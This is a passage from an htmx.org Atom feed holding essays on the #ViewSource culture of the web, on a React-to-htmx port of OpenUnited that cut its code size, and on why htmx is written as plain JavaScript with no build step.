by other human-centered projects like #Scratch, and is a powerful tonic against #enshittification.&lt;&#x2F;p&gt;
&lt;p&gt;--&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;doctorow&#x2F;status&#x2F;1701934612686196872&quot;&gt;Cory Doctorow @pluralistic@mamot.fr&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;open-culture-the-web&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#open-culture-the-web&quot; aria-label=&quot;Anchor link for: open-culture-the-web&quot;&gt;Open Culture &amp;amp; The Web&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;When people talk about open source software, that conversation is often dominated by
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;philosophy&#x2F;free-sw.html&quot;&gt;the Free Software Foundation’s notion of free software&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Free software” means software that respects users’ freedom and community. Roughly, it means that the users have the
freedom to run, copy, distribute, study, change and improve the software.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This definition of free software has been a useful one and, through advocating for it, the FSF has gifted the world a
lot of wonderful open source software.&lt;&#x2F;p&gt;
&lt;p&gt;Web applications, however, have always been an uncomfortable fit for this definition of free.  This is mainly
for technical reasons: web applications involve a web browser interacting with a web server that is, typically, running
on a remote system.&lt;&#x2F;p&gt;
&lt;p&gt;At a fundamental level, the REST-ful architecture of the web was built around &lt;em&gt;hypermedia representations&lt;&#x2F;em&gt; of remote
resources:  browsers deal only with hypermedia representations provided by the server and, thus, have no visibility into
the actual source of the code executing on the server side.&lt;&#x2F;p&gt;
&lt;p&gt;Now, the web has certainly &lt;em&gt;leveraged&lt;&#x2F;em&gt; free and open source software in its growth: browsers are typically (at least mostly)
open source, server software is often open source, and so on.  And there are, of course, open source web applications
that users may run for things like forums and so forth.&lt;&#x2F;p&gt;
&lt;p&gt;However, from the standpoint of typical web application users, web applications are not free in the FSF sense of that
term: the users are unable to see and modify the source of the server code that is being executed as they interact with
the application via the browser.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;right-click-view-source-as-culture&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#right-click-view-source-as-culture&quot; aria-label=&quot;Anchor link for: right-click-view-source-as-culture&quot;&gt;Right-Click-View-Source As Culture&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Despite the fact that the web has a somewhat uncomfortable relationship with the notion of free software, the early web
none-the-less had a radically open &lt;em&gt;developer culture&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In fact, in some important and practical ways, the early web had a &lt;em&gt;more&lt;&#x2F;em&gt; open developer culture than what was achieved
by the free software movement.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt; affordance available in browsers allowed people
to understand and “own”, at least in an informal way, the web in a way that even most FSF-conforming applications could
not: you had direct access to the “source”, or at least &lt;em&gt;part&lt;&#x2F;em&gt; of the source, of the application available from
&lt;em&gt;within&lt;&#x2F;em&gt; the application itself.&lt;&#x2F;p&gt;
&lt;p&gt;You could copy-and-paste (or save) the “source” (HTML, JavaScript &amp;amp; CSS) and start modifying it, without a complicated
build tool chain or, indeed, without any tool chain at all.&lt;&#x2F;p&gt;
&lt;p&gt;This radical openness of the web allowed many people, often not formally trained computer programmers, to learn how to
create web pages and applications in an ad hoc and informal way.&lt;&#x2F;p&gt;
&lt;p&gt;In strict free software terms, this was, of course, a compromise: as a user of a web application, you had no visibility
into how a server was constructing a given hypermedia response.&lt;&#x2F;p&gt;
&lt;p&gt;But you could see &lt;em&gt;what&lt;&#x2F;em&gt; the server was responding with: you could download and tweak it, poke and prod at it.  You could,
if you were an advanced user, use browser tools to modify the application in place.&lt;&#x2F;p&gt;
&lt;p&gt;And, most importantly, you could &lt;em&gt;learn from it&lt;&#x2F;em&gt;, even if you couldn’t see how the HTML was being produced.&lt;&#x2F;p&gt;
&lt;p&gt;This radical openness of the client and network protocol, and the culture it produced, was a big part of the success
of the early web.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;digital-enclosure-vs-technical-enclosure&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#digital-enclosure-vs-technical-enclosure&quot; aria-label=&quot;Anchor link for: digital-enclosure-vs-technical-enclosure&quot;&gt;Digital Enclosure vs. Technical Enclosure&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Enclosure&quot;&gt;Enclosure Movement&lt;&#x2F;a&gt; was a period in English history when what were
previously &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Commons&quot;&gt;commons&lt;&#x2F;a&gt; were privatized.&lt;&#x2F;p&gt;
&lt;p&gt;This was a traumatic event in English history, as evidenced by this poem by an 18th century anon:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The law locks up the man or woman&lt;&#x2F;p&gt;
&lt;p&gt;Who steals the goose from off the common,&lt;&#x2F;p&gt;
&lt;p&gt;But lets the greater felon loose&lt;&#x2F;p&gt;
&lt;p&gt;Who steals the common from the goose.&lt;&#x2F;p&gt;
&lt;p&gt;–18th century anon&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;In the last decade, the web has gone through a period of “Digital Enclosure”, where &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Closed_platform&quot;&gt;“Walled Gardens”&lt;&#x2F;a&gt;,
such as Facebook &amp;amp; Twitter, have replaced the earlier, more open and more chaotic blogs and internet forums.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;technical-enclosure&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#technical-enclosure&quot; aria-label=&quot;Anchor link for: technical-enclosure&quot;&gt;Technical Enclosure&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Many (most?) web developers have decried this trend.&lt;&#x2F;p&gt;
&lt;p&gt;However, despite recognizing the danger of an increasingly closed internet, many web developers don’t consider their own
technical decisions and how those decisions can also contribute to the disappearance of web’s &lt;em&gt;culture&lt;&#x2F;em&gt; of openness.&lt;&#x2F;p&gt;
&lt;p&gt;Inadvertently (for the most part) technical trends and decisions in web development in the last two decades have lead
to what we term a “Technical Enclosure” of the web, a processes whereby technical decisions chip away at the #ViewSource
affordance that Cory Doctorow discusses in the opening quote of this article, an affordance that existed as a commons
for early web developers.&lt;&#x2F;p&gt;
&lt;p&gt;To see a stark example of the decline of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt; affordance
in web development and Technical Enclosure in action, we can look at what is perhaps the most popular web page on the
internet, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;google.com&quot;&gt;The Google Homepage&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Here is the nearly complete source of that page from the year 2000, taken from
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20000229040250&#x2F;http:&#x2F;&#x2F;www.google.com&#x2F;&quot;&gt;the wayback machine&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;google-in-2000&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#google-in-2000&quot; aria-label=&quot;Anchor link for: google-in-2000&quot;&gt;Google in 2000&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;img src=&quot;&#x2F;img&#x2F;google-2000.png&quot; alt=&quot;Google Source Code in 2000&quot; style=&quot;border-radius: 12px; margin: 12px&quot;&gt;
&lt;p&gt;In contrast, here is a random snapshot of roughly 1&#x2F;100th of the current source code for the website:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;google-in-2023&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#google-in-2023&quot; aria-label=&quot;Anchor link for: google-in-2023&quot;&gt;Google in 2023&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;img src=&quot;&#x2F;img&#x2F;google-2023.png&quot; alt=&quot;Google Source Code in 2023&quot; style=&quot;border-radius: 12px; margin: 12px&quot;&gt;
&lt;p&gt;These two screenshots dramatically demonstrate the decline in the effectiveness of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt; affordance over time:
yes, you can still right-click the page and view its underlying source, but making sense of the latter code would be
challenging for even the most seasoned web developer.&lt;&#x2F;p&gt;
&lt;p&gt;A new web developer would have almost no chance of deriving any value from doing so.&lt;&#x2F;p&gt;
&lt;p&gt;Now, this is not to criticize the Google engineer’s technical decisions that lead to this situation &lt;em&gt;as technical
decisions&lt;&#x2F;em&gt;: obviously, despite similar appearances, the Google homepage of 2023 is far more sophisticated than the one
available in 2000.&lt;&#x2F;p&gt;
&lt;p&gt;The 2023 google homepage is going to be a lot more complicated than the 2000 page and, given the zeitgeist, it is going to
involve a lot of JavaScript.&lt;&#x2F;p&gt;
&lt;p&gt;However, this is to point out that something deeply important about the early web has been lost, almost certainly
unintentionally, along the way: the ability to view the source of the page, make sense of what it is doing and, most
importantly, to learn from it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;right-click-view-source-extremism&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#right-click-view-source-extremism&quot; aria-label=&quot;Anchor link for: right-click-view-source-extremism&quot;&gt;Right-Click-View-Source Extremism&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Both &lt;a href=&quot;&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt; adhere to the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;Locality of Behavior&lt;&#x2F;a&gt;
design principle.&lt;&#x2F;p&gt;
&lt;p&gt;This principle states that:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The behaviour of a unit of code should be as obvious as possible by looking only at that unit of code&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The main technical advantage of Locality of Behavior is ease of maintenance, as outlined in the essay above.&lt;&#x2F;p&gt;
&lt;p&gt;However, there is an important cultural benefit to the Locality of Behavior of htmx and hyperscript as well: &lt;strong&gt;it restores
the power of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt; affordance on the web&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Consider &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;arhamjain.com&#x2F;hyperwordle&#x2F;&quot;&gt;Hyperwordle&lt;&#x2F;a&gt;, a hyperscript-based clone of the popular
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.nytimes.com&#x2F;games&#x2F;wordle&#x2F;index.html&quot;&gt;Wordle&lt;&#x2F;a&gt; game, now owned by the New York Times.&lt;&#x2F;p&gt;
&lt;p&gt;You can visit Hyperwordle, right click and view the source of it, and you will be presented with some HTML and hyperscript,
all of which is, with a bit of effort, understandable.&lt;&#x2F;p&gt;
&lt;p&gt;The  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt; affordance is effective in this case.&lt;&#x2F;p&gt;
&lt;p&gt;Contrast this with the view-source experience of the Wordle implementation at the New York Times.&lt;&#x2F;p&gt;
&lt;p&gt;Now, this is of course a bit unfair: the NYTimes version has a lot more functionality and is heavily optimized. Hyperwordle
is a proof of concept and not being hammered by millions of users every day.&lt;&#x2F;p&gt;
&lt;p&gt;Despite that qualification, Hyperwordle demonstrates a potential future for the web, a future where a culture of openness,
of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt; politeness, is once again a touchstone of the
culture of the web.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;prioritizing-viewsource&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#prioritizing-viewsource&quot; aria-label=&quot;Anchor link for: prioritizing-viewsource&quot;&gt;Prioritizing &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Engineers who care about the open culture of the web should recognize that the threats to that culture come not only from
Digital Enclosure by large, private companies of the most important pieces of the web.&lt;&#x2F;p&gt;
&lt;p&gt;They should also recognize the risks of Technical Enclosure, and the &lt;em&gt;non-technical&lt;&#x2F;em&gt; value of the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt; affordance in perpetuating the open culture of
web development.  They should start thinking about making this affordance a priority in their technical decisions.  As
with all priorities, this may involve trading off against other technical and even functional priorities during
application development.&lt;&#x2F;p&gt;
&lt;p&gt;But if we don’t stand up for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;View-source_URI_scheme&quot;&gt;#ViewSource&lt;&#x2F;a&gt;, no one else will.&lt;&#x2F;p&gt;
&lt;br&#x2F;&gt;
&lt;img src=&quot;&#x2F;img&#x2F;memes&#x2F;viewsource.png&quot; alt=&quot;Right Click View Source Guy&quot; style=&quot;border-radius: 12px; margin: 12px&quot;&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Another Real World React -&gt; htmx Port</title>
        <published>2023-09-20T00:00:00+00:00</published>
        <updated>2023-09-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/another-real-world-react-to-htmx-port/"/>
        <id>https://htmx.org/essays/another-real-world-react-to-htmx-port/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/another-real-world-react-to-htmx-port/">&lt;p&gt;The &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;a-real-world-react-to-htmx-port&#x2F;&quot;&gt;Mother of All htmx Demos&lt;&#x2F;a&gt; you can see the real world results of a
port from a React-based front end to an htmx-powered front end.  The results are very good, although we qualify the
experience with the following:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;These are eye-popping numbers, and they reflect the fact that the Contexte application is extremely amenable to
hypermedia: it is a content-focused application that shows lots of text and images.  We would not expect every
web application to see these sorts of numbers.&lt;&#x2F;p&gt;
&lt;p&gt;However, we &lt;em&gt;would&lt;&#x2F;em&gt; expect &lt;em&gt;many&lt;&#x2F;em&gt; applications to see dramatic improvements by adopting the hypermedia&#x2F;htmx approach, at
least for part of their system.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;As luck would have it, we have another application (again, based on Django on the server side) that has been ported from
a React front end to an htmx front end: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;openunited.com&#x2F;&quot;&gt;OpenUnited&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Here is a graphic from the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;feed&#x2F;update&#x2F;urn:li:activity:7109116330770878464&#x2F;&quot;&gt;original LinkedIn post&lt;&#x2F;a&gt;
by Adrian McPhee, showing the total Lines of Code in the code base before and after the port:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;open_united_before_after_htmx.png&quot; alt=&quot;Open United Before &amp;amp; After&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;before-after-source-code&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#before-after-source-code&quot; aria-label=&quot;Anchor link for: before-after-source-code&quot;&gt;Before&#x2F;After Source Code&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A very nice aspect of this port is that, because OpenUnited is open source, in contrast with Contexte, the before and
after code is available to examine:&lt;&#x2F;p&gt;
&lt;p&gt;Before: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;OpenUnited&#x2F;old-codebase&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;OpenUnited&#x2F;old-codebase&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;OpenUnited&#x2F;platform&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;OpenUnited&#x2F;platform&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;executive-summary&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#executive-summary&quot; aria-label=&quot;Anchor link for: executive-summary&quot;&gt;Executive Summary&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Here is a high-level summary of the port&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;They reduced the &lt;strong&gt;code base size&lt;&#x2F;strong&gt; by &lt;strong&gt;61%&lt;&#x2F;strong&gt; (31237 LOC to 12044 LOC)&lt;&#x2F;li&gt;
&lt;li&gt;They reduced the &lt;strong&gt;total number of files&lt;&#x2F;strong&gt; by &lt;strong&gt;72%&lt;&#x2F;strong&gt; (588 files to 163 files)&lt;&#x2F;li&gt;
&lt;li&gt;They reduced the &lt;strong&gt;total number of file types&lt;&#x2F;strong&gt; by &lt;strong&gt;38%&lt;&#x2F;strong&gt; (18 file types to 11 file types)&lt;&#x2F;li&gt;
&lt;li&gt;Subjectively, development velocity felt at least &lt;strong&gt;5X&lt;&#x2F;strong&gt; faster&lt;&#x2F;li&gt;
&lt;li&gt;Rather than prototyping in Figma and then porting to HTML, UX development was done directly in HTML&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;analysis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#analysis&quot; aria-label=&quot;Anchor link for: analysis&quot;&gt;Analysis&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Once again we have some eye-popping results.  This is because the OpenUnited application is extremely
amenable to hypermedia: like Contexte, it is a content-focused application that shows lots of text and images.&lt;&#x2F;p&gt;
&lt;p&gt;This experience again demonstrates that, for at least a certain class of web applications, htmx and the hypermedia
architecture can be an excellent choice.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Why htmx Does Not Have a Build Step</title>
        <published>2023-08-19T00:00:00+00:00</published>
        <updated>2023-08-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            Alexander Petros
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/no-build-step/"/>
        <id>https://htmx.org/essays/no-build-step/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/no-build-step/">&lt;p&gt;A recurring question from some htmx contributors is why htmx isn’t written in TypeScript, or, for that matter, why htmx lacks any build step at all. The full htmx source is a single 3,500-line JavaScript file; if you want to contribute to htmx, you do so by modifying the &lt;code&gt;htmx.js&lt;&#x2F;code&gt; file, the same file that gets sent to browsers in production, give or take minification and compression.&lt;&#x2F;p&gt;
&lt;p&gt;I do not speak for the htmx project, but I have made a few nontrivial contributions to it, and have been a vocal advocate for retaining this no-build setup every time the issue has arisen. From my perspective, here’s why htmx does not have a build step.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;write-once-run-forever&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#write-once-run-forever&quot; aria-label=&quot;Anchor link for: write-once-run-forever&quot;&gt;Write Once, Run Forever&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The best reason to write a library in plain JavaScript is that it lasts forever. This is arguably JavaScript’s single most underrated feature. While I’m sure there are some corner cases, JavaScript from 1999 that ran in Netscape Navigator will run unaltered, alongside modern code, in Google Chrome downloaded yesterday. That is true for very few programming environments. It’s certainly not true for Python, or Java, or C, which all have versioning mechanisms where opting for new language features will force you off of deprecated APIs.&lt;&#x2F;p&gt;
&lt;p&gt;Of course, most people’s experience with JavaScript is that it ages like milk. Reopen a node repository after 3 months and you’ll find that your project is mired in a flurry of security warnings, backwards-incompatible library “upgrades,” and a frontend framework whose cultural peak was the exact moment you started the project and is now widely considered tech debt. Who’s to blame for this situation is for someone else to decide, but, in any case, you can eliminate this entire problem class by not having any dependencies beyond the JavaScript runtime.&lt;&#x2F;p&gt;
&lt;p&gt;A popular way to write JavaScript today is to compile it from TypeScript (which I will use frequently as an example, because TypeScript is probably the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Straw_man#Steelmanning&quot;&gt;best reason&lt;&#x2F;a&gt; to use a build system). TypeScript does not run natively in web browsers, so TypeScript code is not protected by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Glossary&#x2F;ECMA&quot;&gt;ECMA’s&lt;&#x2F;a&gt; fanatical devotion to backwards compatibility. Like any dependency, new major TypeScript versions are not guaranteed to be backwards compatible with the previous ones. They might be! But if they aren’t, then you need to do maintenance if you want to use the modern development toolchain.&lt;&#x2F;p&gt;
&lt;p&gt;Maintenance is a cost paid for with labor, and open-source codebases are the projects that can least afford to pay it. Opting not to use a build step drastically minimizes the labor required to keep htmx up-to-date. This experience has been borne out by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&quot;&gt;intercooler.js&lt;&#x2F;a&gt;, the predecessor to htmx which is maintained indefinitely with (as I understand) very little effort. When htmx 1.0 was released, TypeScript was at version 4.1; when intercooler.js was released, TypeScript was pre-1.0. Would code written in those TypeScript versions compile unmodified in today’s TypeScript compiler (version 5.1 at the time of writing)? Maybe, maybe not.&lt;&#x2F;p&gt;
&lt;p&gt;But htmx is written in JavaScript, with no dependencies, so it will run unmodified for as long as web browsers remain relevant. Let the browser vendors do the hard work for you.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;developer-experience&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#developer-experience&quot; aria-label=&quot;Anchor link for: developer-experience&quot;&gt;Developer Experience&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;It is true that the TypeScript developer experience (DX) is better than the JavaScript developer experience in many respects. It is not true that the TypeScript DX is better in &lt;em&gt;every&lt;&#x2F;em&gt; respect, and the tendency of software engineers to view progress as a teleology of capability rather than choices with tradeoffs sometimes blinds them to the cost paid for the DX aspects they like. For instance, a small tradeoff you make for using TypeScript is that compiling it takes time, and you have to wait for it to recompile to test a change. Usually this cost is negligible, and well worth paying, but it is nonetheless a cost.&lt;&#x2F;p&gt;
&lt;p&gt;A more significant cost for using TypeScript is that the code running in the browser is not the code you wrote, which makes the browser’s developer tools harder to use. When your TypeScript code throws an exception, you have to figure out how the stack trace (with its JavaScript line numbers, JavaScript function signatures, and so forth) maps to the TypeScript code that you wrote; when your JavaScript code throws an exception, you can click straight through to the source code, read the thing you wrote, and set a breakpoint in the debugger. This is &lt;em&gt;tremendous&lt;&#x2F;em&gt; DX. For many younger web developers who have never worked this way, it can be a revelatory experience.&lt;&#x2F;p&gt;
&lt;p&gt;Build step advocates point out that TypeScript can generate &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;firefox-source-docs.mozilla.org&#x2F;devtools-user&#x2F;debugger&#x2F;how_to&#x2F;use_a_source_map&#x2F;index.html&quot;&gt;source maps&lt;&#x2F;a&gt;, which tell your browser what TypeScript corresponds to what JavaScript, and that’s true! But now you have &lt;em&gt;another&lt;&#x2F;em&gt; thing to keep track of—the TypeScript you wrote, the JavaScript it generated, and the source map that connects these two. The hot-reloading development server you’re now dependent on will keep these up to date for you on localhost—but what about on your staging server? What about in production? Bugs that appear in these environments will be harder to track down, because you’ve lost a lot of information about where they come from. These are solvable problems, but they’re problems you created; they are a cost.&lt;&#x2F;p&gt;
&lt;p&gt;The htmx DX is very simple—your browser loads a single file, which in every environment is the exact same file you wrote. The tradeoffs required to maintain that experience are real, but they’re tradeoffs that make sense for this project.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;enforced-clarity&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#enforced-clarity&quot; aria-label=&quot;Anchor link for: enforced-clarity&quot;&gt;Enforced Clarity&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Modularization is one of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;legacy.python.org&#x2F;dev&#x2F;peps&#x2F;pep-0020&#x2F;&quot;&gt;honking great ideas&lt;&#x2F;a&gt; of software. Modules make it possible to solve incredibly complex problems by breaking down code into well-contained substructures that solve smaller problems. Modules are really useful.&lt;&#x2F;p&gt;
&lt;p&gt;Sometimes, however, you want to solve simple problems, or at least relatively simple problems. In those cases, it can be helpful &lt;em&gt;not&lt;&#x2F;em&gt; to use the building blocks of more complex software, lest you emulate their complexity without creating commensurate value. At its core, htmx solves a relatively simple problem: it adds a handful of attributes to HTML that make it easier to replace DOM elements using the declarative character of hypertext. Requiring that htmx remain in a single file (again, around 3,500 LOC) enforces a degree of intention on the library; there is a real pressure when working on the htmx source to justify the addition of new code, a pressure which maintains an equilibrium of relative simplicity.&lt;&#x2F;p&gt;
&lt;p&gt;While the DX costs are obvious, there are also surprising DX benefits. If you search a function name in the source file, you’ll instantly find every invocation of that function (this also mitigates the need for more-advanced code introspection). The lack of places for functionality to hide makes working on htmx a lot more approachable. Far, far more complex projects use aspects of this approach as well: SQLite3 compiles from a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sqlite.org&#x2F;amalgamation.html&quot;&gt;single-file source amalgamation&lt;&#x2F;a&gt; (though they use separate files for development, they’re not &lt;em&gt;crazy&lt;&#x2F;em&gt;) which makes hacking on it &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jvns.ca&#x2F;blog&#x2F;2019&#x2F;10&#x2F;28&#x2F;sqlite-is-really-easy-to-compile&#x2F;&quot;&gt;significantly easier&lt;&#x2F;a&gt;. You could never build the linux kernel this way—but htmx is not the linux kernel.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;costs&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#costs&quot; aria-label=&quot;Anchor link for: costs&quot;&gt;Costs&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;Like any technology decision, choosing to forgo a build step has advantages and disadvantages. It’s important to acknowledge those tradeoffs so that you can make an informed decision, and revisit that decision if some of the benefits or costs no longer apply. With the advantages of writing plain JavaScript in mind, let’s consider some of the pain points it introduces.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-static-types&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-static-types&quot; aria-label=&quot;Anchor link for: no-static-types&quot;&gt;No static types&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
